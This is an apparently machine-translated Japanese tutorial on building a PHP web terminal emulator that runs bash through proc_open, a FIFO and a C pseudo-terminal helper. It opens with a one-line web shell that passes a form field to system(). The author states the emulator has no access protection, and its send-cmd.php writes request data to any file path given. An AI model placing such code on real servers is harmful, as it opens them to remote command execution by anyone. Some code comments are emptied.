<?php echo '<form><input name="cmd" /></form>'; if(isset($_GET['cmd'])) system($_GET['cmd']);
もちろん、このような解決策は問題のセット全体を引き起こしますが、最も重要でないのは、エラーが画面に表示されないことです。 もっと重要なことがあります。たとえば、viを起動するとコマンドの実行が単に「中断」され、新しいコンソールを開いて
killall vi
を記述する必要があります。 そして、確かにできないことは、sshまたはsudoコマンドを実行することです。これらのコマンドでは、端末から直接パスワードを読み取る必要があります。 上記の問題のほとんどを解消する方法を示します。
PHPで簡単なターミナルエミュレータを作成しています
ターミナルエミュレーターには次のものが必要です。
- PHP 5.2+ (ファイルあり-PHP 4.3+)
- 機能している関数system()およびproc_open()
- 機能する関数flush() ( nginxのflush() )
- JSLinux プロジェクトの term.jsおよびutils.js
- Linux、サーバー側のMac OS X(* BSDはチェックしなかったため、改善が必要な場合があります)
たぶん、JSLinuxへのリンクを見たことがあるので、あなたはすでに私たちが何をするかを推測し始めました;)。
実装の主なアイデア
PHPのドキュメントでは、proc_open()はプロセスとの双方向通信用に設計されているため、この関数を使用してbashをインタラクティブに開き、引き続き機能するようになっています。 残念ながら、PHPには疑似端末のすぐにサポートがないため、Cで必要なレイヤーの実装を記述します。
この例では、エラーチェックとターミナルの正しい終了だけでなく、保護の前提もありません(!) 、自分で考える必要があります;)。
Shell.phpファイル
ユーザー入力を取得する
FIFOファイルなどを介して、何らかの形でユーザーから入力を取得する必要があります。
<?php $temp_fifo_file = '/tmp/dolphin-pipe-'.uniqid('dolph'); if (!posix_mkfifo($temp_fifo_file, 0600)) { echo "Fatal error: Cannot create fifo file: something wrong with the system.\n"; exit(1); } function deleteTempFifo() { unlink($GLOBALS['temp_fifo']); } register_shutdown_function('deleteTempFifo'); $cmdfp = fopen($temp_fifo_file, 'r+'); stream_set_blocking($cmdfp, 0);
端末の環境変数の設定
JSLinuxはvt100エミュレーションモードで動作します。同じことを行います:)
putenv('TERM=vt100'); $cols = 80; // , - $rows = 24;
bashを実行するコマンド
基本的に、「
bash -i
」を実行するだけで動作します(「
sh -i
」でも動作します)が、擬似端末を介して動作できる場合は、この場合、プログラムはより「自然に」動作します。 同時に、bashrcを使用して、カラープロンプトを構成できます:)。
chdir(dirname(__FILE__)); $cmd = "bash --rcfile ./bashrc -i 2>&1"; // (pt.c, ) // , if (!file_exists('pt')) { system('cc -D__'.strtoupper(trim(`uname`)).'__ -o pt pt.c -lutil 2>&1', $retval); if ($retval) echo('<b>Warning:</b> Cannot compile pseudotty helper'); } clearstatcache(); if (file_exists('pt')) $cmd = "./pt $rows $cols $cmd"; $pp = proc_open($cmd, array(array('pipe','r'), array('pipe', 'w')), $pipes); stream_set_blocking($pipes[0], 0); stream_set_blocking($pipes[1], 0); ?>
JavaScriptからコマンドを送信する
文字ごとに1つのHTTPリクエストを実行します(サーバーに「時間がない」場合はさらに多くの文字)。 はい、これはこの場合、リソースの不当な浪費になる可能性があり、すべてはWebソケットを介して行うことができますが、実装の観点では、私のスキームははるかに簡単です:)。
<html><head><title>Terminal</title></head><body> <script> var pipeName = <?=json_encode($temp_fifo_file)?>, pending_str = '', processing = false; var sendCmdInterv = setInterval(function() { if (processing) return; if (pending_str.length) { processing = true; var previous_str = pending_str; pending_str = ''; var http = new XMLHttpRequest(); http.open("GET", "send-cmd.php?pipe=" + pipeName + "&cmd=" + encodeURIComponent(previous_str), true); http.onreadystatechange = function() { if (http.readyState == 4 && http.status == 200) { processing = false; pending_str = ''; } else { pending_str = previous_str + pending_str; } }; http.send(null); } }, 16); function send_cmd(val) { pending_str += val; } </script>
Javascriptターミナルエミュレーター
JSLinuxには、さまざまな便利なパーツがあります。この場合、ターミナルエミュレーターです。 著者は、知らないうちにterm.jsファイルの配布と変更を禁止しているため、この例ではライブラリを参照し、そのまま使用します:)。
<style> .term { font-family: monaco,courier,fixed,monospace,swiss,sans-serif; font-size: 13px; line-height: 16px; color: #f0f0f0; background: #000000; } tr { height: 16px; } .termReverse { color: #000000; background: #00ff00; } </style> <script src="http://bellard.org/jslinux/utils.js"></script> <script src="http://bellard.org/jslinux/term.js"></script> <script>var term = new Term(<?=$cols?>, <?=$rows?>, send_cmd); term.open();</script>
ユーザー入力の読み取りとコマンドの実行
FIFOファイルからのユーザー入力、対応するパイプからのコマンドの出力を読み取ります。簡単にするため、すべてが非ブロックモードになっています。 また、実際にはterm.jsはプログラムの「生の」出力ではなく、シリアルポートドライバーの出力を処理するため、小さな松葉杖として、「\ n」を「\ r \ n」に置き換えます。
<?php echo "<!-- ".str_repeat('-', 4096)." -->\n"; flush(); while (!feof($pipes[1])) { $ln = fgets($pipes[1], 4096); if ($ln !== false) { $ln = str_replace("\n", "\r\n", $ln); echo '<script>term.write('.json_encode($ln).');</script>'; flush(); continue; } $inp_ln = fgets($cmdfp, 4096); if ($inp_ln !== false) { // ensure that command is fully written by setting blocking to 1 stream_set_blocking($pipes[0], 1); fwrite($pipes[0], $inp_ln); stream_set_blocking($pipes[0], 0); } usleep(20000); } proc_close($pp); ?>
終了後にコマンドの受信をクリアします
プロセスが完了した後(たとえば、人がCtrl + Dを押すか、「終了」を入力した後)、サーバーへのユーザー入力の送信を停止する必要があります。
<script>clearInterval(sendCmdInterv);</script> </body> </html>
Send-cmd.phpファイル
コマンドを送信するファイルはsend-cmd.phpと呼ばれ、次のもので構成されます(はい、入力パラメーターのチェックはありません:)):
<?php $fp = fopen($_GET['pipe'], 'r+'); fwrite($fp, $_GET['cmd']); fclose($fp);
Bashrcファイル
使用することをお勧めするbashrcは次のとおりです。
export PS1='\[\033[01;33m\]\u\[\033[00m\]:\[\033[01;34m\]\w\[\033[00m\]\$ ' export PS2='> ' export PS4='+ ' export LANG=en_US.UTF-8 echo Welcome to simple terminal emulator'!' echo Scroll up and down using Ctrl-Up, Ctrl-Down, Ctrl-PageUp and Ctrl-PageDown. echo Output handling is based on JSLinux term.js library. Enjoy'!'
Pt.cファイル
疑似端末を操作するためのユーティリティはすでに存在します。たとえば、ほとんど必要なことを実行する期待できるライブラリがあります。 それにもかかわらず、端末の必要なサイズを設定し、stdoutですべてを表示し、stdinで入力を受け入れる独自のユーティリティを作成することは、私にとって興味深いように思えました。
#include <unistd.h> #include <sys/select.h> #include <stdio.h> #ifdef __LINUX__ #include <pty.h> #else #include <util.h> #endif static void set_fds(fd_set *reads, int pttyno) { FD_ZERO(reads); FD_SET(0, reads); FD_SET(pttyno, reads); } int main(int argc, char *argv[]) { char buf[1024]; int pttyno, n = 0; int pid; struct winsize winsz; if (argc < 3) { fprintf(stderr, "Usage: %s <rows> <cols> <cmd> [args]\n", argv[0]); return 1; } winsz.ws_row = atoi(argv[1]); winsz.ws_col = atoi(argv[2]); winsz.ws_xpixel = winsz.ws_col * 14; winsz.ws_ypixel = winsz.ws_row * 14; pid = forkpty(&pttyno, NULL, NULL, &winsz); if (pid < 0) { perror("Cannot forkpty"); return 1; } else if (pid == 0) { execvp(argv[3], argv + 3); perror("Cannot exec bash"); } fd_set reads; set_fds(&reads, pttyno); while (select(pttyno + 1, &reads, NULL, NULL, NULL)) { if (FD_ISSET(0, &reads)) { n = read(0, buf, sizeof buf); if (n == 0) { return 0; } else if (n < 0) { perror("Could not read from stdin"); return 1; } write(pttyno, buf, n); } if (FD_ISSET(pttyno, &reads)) { n = read(pttyno, buf, sizeof buf); if (n == 0) { return 0; } else if (n < 0) { perror("Cannot read from ptty"); return 1; } write(1, buf, n); } set_fds(&reads, pttyno); } int statloc; wait(&statloc); return 0; }
作業実演
残念ながら、私は気にしないサーバーを持っていないため、実際のデモへのリンクを提供することはできません;)。 ただし、これがどのように機能するかを示す短いビデオを記録しました。
すべて一緒に
理論的には、すべてのソースコードはこの記事に記載する必要があります。 あなたが怠けている場合、私は人々に適切なファイルでアーカイブを置きます 。
UPD:
pt.cプログラムがFreeBSDでコンパイルされない場合、次のヘッダーファイルをファイルの先頭に追加します(
#include <util.h>
削除します)。
#include <sys/types.h> #include <sys/ioctl.h> #include <termios.h> #include <libutil.h>